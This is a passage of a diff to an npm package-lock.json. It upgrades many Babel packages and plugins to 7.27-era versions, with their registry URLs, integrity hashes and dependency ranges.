"sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-member-expression-to-functions": "^7.18.9", - "@babel/helper-optimise-call-expression": "^7.18.6", - "@babel/traverse": "^7.18.9", - "@babel/types": "^7.18.9" + "@babel/helper-member-expression-to-functions": "^7.27.1", + "@babel/helper-optimise-call-expression": "^7.27.1", + "@babel/traverse": "^7.27.1" }, "engines": { "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-simple-access": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.18.6.tgz", - "integrity": "sha512-iNpIgTgyAvDQpDj76POqg+YEt8fPxx3yaNBg3S30dxNKm2SWfYhD0TGrK/Eu9wHpUW63VQU894TsTg+GLbUa1g==", - "dependencies": { - "@babel/types": "^7.18.6" }, - "engines": { - "node": ">=6.9.0" + "peerDependencies": { + "@babel/core": "^7.0.0" } }, "node_modules/@babel/helper-skip-transparent-expression-wrappers": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.18.9.tgz", - "integrity": "sha512-imytd2gHi3cJPsybLRbmFrF7u5BIEuI2cNheyKi3/iOBC63kNn3q8Crn2xVuESli0aM4KYsyEqKyS7lFL8YVtw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.27.1.tgz", + "integrity": "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/types": "^7.18.9" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-split-export-declaration": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.18.6.tgz", - "integrity": "sha512-bde1etTx6ZyTmobl9LLMMQsaizFVZrquTEHOqKeQESMKo4PlObf+8+JA25ZsIpZhT/WEd39+vOdLXAFG/nELpA==", - "dependencies": { - "@babel/types": "^7.18.6" + "@babel/traverse": "^7.27.1", + "@babel/types": "^7.27.1" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-string-parser": { - "version": "7.18.10", - "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.18.10.tgz", - "integrity": "sha512-XtIfWmeNY3i4t7t4D2t02q50HvqHybPqW2ki1kosnvWCwuCMeo81Jf0gwr85jy/neUdg5XDdeFE/80DXiO+njw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "license": "MIT", "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-validator-identifier": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.18.6.tgz", - "integrity": "sha512-MmetCkz9ej86nJQV+sFCxoGGrUbU3q02kgLciwkrt9QqEB7cP39oKEY0PakknEO0Gu20SskMRi+AYZ3b1TpN9g==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz", + "integrity": "sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==", + "license": "MIT", "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-validator-option": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.18.6.tgz", - "integrity": "sha512-XO7gESt5ouv/LRJdrVjkShckw6STTaB7l9BrpBaAHDeF5YZT+01PCwmR0SJHnkW6i8OwW/EVWRShfi4j2x+KQw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", + "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==", + "license": "MIT", "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-wrap-function": { - "version": "7.18.11", - "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.18.11.tgz", - "integrity": "sha512-oBUlbv+rjZLh2Ks9SKi4aL7eKaAXBWleHzU89mP0G6BMUlRxSckk9tSIkgDGydhgFxHuGSlBQZfnaD47oBEB7w==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.27.1.tgz", + "integrity": "sha512-NFJK2sHUvrjo8wAU/nQTWU890/zB2jj0qBcCbZbbf+005cAsv6tMjXz31fBign6M5ov1o0Bllu+9nbqkfsjjJQ==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-function-name": "^7.18.9", - "@babel/template": "^7.18.10", - "@babel/traverse": "^7.18.11", - "@babel/types": "^7.18.10" + "@babel/template": "^7.27.1", + "@babel/traverse": "^7.27.1", + "@babel/types": "^7.27.1" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helpers": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.18.9.tgz", - "integrity": "sha512-Jf5a+rbrLoR4eNdUmnFu8cN5eNJT6qdTdOg5IHIzq87WwyRw9PwguLFOWYgktN/60IP4fgDUawJvs7PjQIzELQ==", + "version": "7.27.6", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.27.6.tgz", + "integrity": "sha512-muE8Tt8M22638HU31A3CgfSUciwz1fhATfoVai05aPXGor//CdWDCbnlY1yvBPo07njuVOCNGCSp/GTt12lIug==", + "license": "MIT", "dependencies": { - "@babel/template": "^7.18.6", - "@babel/traverse": "^7.18.9", - "@babel/types": "^7.18.9" + "@babel/template": "^7.27.2", + "@babel/types": "^7.27.6" }, "engines": { "node": ">=6.9.0" } }, - "node_modules/@babel/highlight": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", - "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", + "node_modules/@babel/parser": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.0.tgz", + "integrity": "sha512-jVZGvOxOuNSsuQuLRTh13nU0AogFlw32w/MT+LV6D3sP5WdbW61E77RnkbaO2dUvmPAYrBDJXGn5gGS6tH4j8g==", + "license": "MIT", "dependencies": { - "@babel/helper-validator-identifier": "^7.18.6", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" + "@babel/types": "^7.28.0" }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/parser": { - "version": "7.18.13", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.18.13.tgz", - "integrity": "sha512-dgXcIfMuQ0kgzLB2b9tRZs7TTFFaGM2AbtA4fJgUUYukzGH4jwsS7hzQHEGs67jdehpm22vkgKwvbU+aEflgwg==", "bin": { "parser": "bin/babel-parser.js" }, @@ -528,13 +709,15 @@ "node": ">=6.0.0" } }, - "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.18.6.tgz", - "integrity": "sha512-Dgxsyg54Fx1d4Nge8UnvTrED63vrwOdPmyvPzlNN/boaliRP54pm3pGzZD1SJUwrBA+Cs/xdG8kXX6Mn/RfISQ==", + "node_modules/@babel/plugin-bugfix-firefox-class-in-computed-class-key": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-firefox-class-in-computed-class-key/-/plugin-bugfix-firefox-class-in-computed-class-key-7.27.1.tgz", + "integrity": "sha512-QPG3C9cCVRQLxAVwmefEmwdTanECuUBMQZ/ym5kiw3XKCGA7qkuQLcjWWHcrD/GKbn/WmJwaezfuuAOcyKlRPA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/traverse": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -543,83 +726,78 @@ "@babel/core": "^7.0.0" } }, - "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.18.9.tgz", - "integrity": "sha512-AHrP9jadvH7qlOj6PINbgSuphjQUAK7AOT7DPjBo9EHoLhQTnnK5u45e1Hd4DbSQEO9nqPWtQ89r+XEOWFScKg==", + "node_modules/@babel/plugin-bugfix-safari-class-field-initializer-scope": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-class-field-initializer-scope/-/plugin-bugfix-safari-class-field-initializer-scope-7.27.1.tgz", + "integrity": "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9", - "@babel/plugin-proposal-optional-chaining": "^7.18.9" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" }, "peerDependencies": { - "@babel/core": "^7.13.0" + "@babel/core": "^7.0.0" } }, - "node_modules/@babel/plugin-proposal-async-generator-functions": { - "version": "7.18.10", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.18.10.tgz", - "integrity": "sha512-1mFuY2TOsR1hxbjCo4QL+qlIjV07p4H4EUYw2J/WCqsvFV6V9X9z9YhXbWndc/4fw+hYGlDT7egYxliMp5O6Ew==", + "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.27.1.tgz", + "integrity": "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/helper-remap-async-to-generator": "^7.18.9", - "@babel/plugin-syntax-async-generators": "^7.8.4" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" }, "peerDependencies": { - "@babel/core": "^7.0.0-0" + "@babel/core": "^7.0.0" } }, - "node_modules/@babel/plugin-proposal-class-properties": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz", - "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==", + "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.27.1.tgz", + "integrity": "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-create-class-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", + "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "engines": { "node": ">=6.9.0" }, "peerDependencies": { - "@babel/core": "^7.0.0-0" + "@babel/core": "^7.13.0" } }, - "node_modules/@babel/plugin-proposal-class-static-block": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.18.6.tgz", - "integrity": "sha512-+I3oIiNxrCpup3Gi8n5IGMwj0gOCAjcJUSQEcotNnCCPMEnixawOQ+KeJPlgfjzx+FKQ1QSyZOWe7wmoJp7vhw==", + "node_modules/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/-/plugin-bugfix-v8-static-class-fields-redefine-readonly-7.27.1.tgz", + "integrity": "sha512-6BpaYGDavZqkI6yT+KSPdpZFfpnd68UKXbcjI9pJ13pvHhPrCKWOOLp+ysvMeA+DxnhuPpgIaRpxRxo5A9t5jw==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-create-class-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-class-static-block": "^7.14.5" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/traverse": "^7.27.1" }, "engines": { "node": ">=6.9.0" }, "peerDependencies": { - "@babel/core": "^7.12.0" + "@babel/core": "^7.0.0" } }, - "node_modules/@babel/plugin-proposal-dynamic-import": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.18.6.tgz", - "integrity": "sha512-1auuwmK+Rz13SJj36R+jqFPMJWyKEDd7lLSdOj4oJK0UTgGueSAtkrCvz9ewmgyU/P941Rv2fQwZJN8s6QruXw==", + "node_modules/@babel/plugin-proposal-private-property-in-object": { + "version": "7.21.0-placeholder-for-preset-env.2", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz", + "integrity": "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==", "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-dynamic-import": "^7.8.3" - }, "engines": { "node": ">=6.9.0" }, @@ -627,62 +805,50 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-proposal-export-namespace-from": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.18.9.tgz", - "integrity": "sha512-k1NtHyOMvlDDFeb9G5PhUXuGj8m/wiwojgQVEhJ/fsVsMCpLyOP4h0uGEjYJKrRI+EVPlb5Jk+Gt9P97lOGwtA==", + "node_modules/@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/plugin-syntax-export-namespace-from": "^7.8.3" - }, - "engines": { - "node": ">=6.9.0" + "@babel/helper-plugin-utils": "^7.8.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-proposal-json-strings": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.18.6.tgz", - "integrity": "sha512-lr1peyn9kOdbYc0xr0OdHTZ5FMqS6Di+H0Fz2I/JwMzGmzJETNeOFq2pBySw6X/KFL5EWDjlJuMsUGRFb8fQgQ==", + "node_modules/@babel/plugin-syntax-bigint": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz", + "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-json-strings": "^7.8.3" - }, - "engines": { - "node": ">=6.9.0" + "@babel/helper-plugin-utils": "^7.8.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-proposal-logical-assignment-operators": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.18.9.tgz", - "integrity": "sha512-128YbMpjCrP35IOExw2Fq+x55LMP42DzhOhX2aNNIdI9avSWl2PI0yuBWarr3RYpZBSPtabfadkH2yeRiMD61Q==", + "node_modules/@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" - }, - "engines": { - "node": ">=6.9.0" + "@babel/helper-plugin-utils": "^7.12.13" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-proposal-nullish-coalescing-operator": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz", - "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==", + "node_modules/@babel/plugin-syntax-import-assertions": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.27.1.tgz", + "integrity": "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -691,14 +857,14 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-proposal-numeric-separator": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz", - "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==", + "node_modules/@babel/plugin-syntax-import-attributes": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.27.1.tgz", + "integrity": "sha512-oFT0FrKHgF53f4vOsZGi2Hh3I35PfSmVs4IBFLFj4dnafP+hIWDLg3VyKmUHfLoLHlyxY4C7DGtmHuJgn+IGww==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-numeric-separator": "^7.10.4" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -707,50 +873,37 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-proposal-object-rest-spread": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.18.9.tgz", - "integrity": "sha512-kDDHQ5rflIeY5xl69CEqGEZ0KY369ehsCIEbTGb4siHG5BE9sga/T0r0OUwyZNLMmZE79E1kbsqAjwFCW4ds6Q==", + "node_modules/@babel/plugin-syntax-import-meta": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", + "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==", "dev": true, "dependencies": { - "@babel/compat-data": "^7.18.8", - "@babel/helper-compilation-targets": "^7.18.9", - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/plugin-syntax-object-rest-spread": "^7.8.3", - "@babel/plugin-transform-parameters": "^7.18.8" - }, - "engines": { - "node": ">=6.9.0" + "@babel/helper-plugin-utils": "^7.10.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-proposal-optional-catch-binding": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.18.6.tgz", - "integrity": "sha512-Q40HEhs9DJQyaZfUjjn6vE8Cv4GmMHCYuMGIWUnlxH6400VGxOuwWsPt4FxXxJkC/5eOzgn0z21M9gMT4MOhbw==", + "node_modules/@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" - }, - "engines": { - "node": ">=6.9.0" + "@babel/helper-plugin-utils": "^7.8.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-proposal-optional-chaining": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.18.9.tgz", - "integrity": "sha512-v5nwt4IqBXihxGsW2QmCWMDS3B3bzGIk/EQVZz2ei7f3NJl8NzAJVvUmpDW5q1CRNY+Beb/k58UAH1Km1N411w==", + "node_modules/@babel/plugin-syntax-jsx": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.22.5.tgz", + "integrity": "sha512-gvyP4hZrgrs/wWMaocvxZ44Hw0b3W8Pe+cMxc8V1ULQ07oh8VNbIRaoD1LRZVTvD+0nieDKjfgKg89sD7rrKrg==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9", - "@babel/plugin-syntax-optional-chaining": "^7.8.3" + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -759,60 +912,46 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-proposal-private-methods": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz", - "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==", + "node_modules/@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", "dev": true, "dependencies": { - "@babel/helper-create-class-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" - }, - "engines": { - "node": ">=6.9.0" + "@babel/helper-plugin-utils": "^7.10.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-proposal-private-property-in-object": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.18.6.tgz", - "integrity": "sha512-9Rysx7FOctvT5ouj5JODjAFAkgGoudQuLPamZb0v1TGLpapdNaftzifU8NTWQm0IRjqoYypdrSmyWgkocDQ8Dw==", + "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", "dev": true, "dependencies": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "@babel/helper-create-class-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-private-property-in-object": "^7.14.5" - }, - "engines": { - "node": ">=6.9.0" + "@babel/helper-plugin-utils": "^7.8.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-proposal-unicode-property-regex": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.18.6.tgz", - "integrity": "sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w==", + "node_modules/@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", "dev": true, "dependencies": { - "@babel/helper-create-regexp-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" - }, - "engines": { - "node": ">=4" + "@babel/helper-plugin-utils": "^7.10.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-syntax-async-generators": { - "version": "7.8.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", - "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "node_modules/@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", "dev": true, "dependencies": { "@babel/helper-plugin-utils": "^7.8.0" @@ -821,10 +960,10 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-syntax-bigint": { + "node_modules/@babel/plugin-syntax-optional-catch-binding": { "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz", - "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", "dev": true, "dependencies": { "@babel/helper-plugin-utils": "^7.8.0" @@ -833,22 +972,22 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-syntax-class-properties": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", - "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "node_modules/@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": 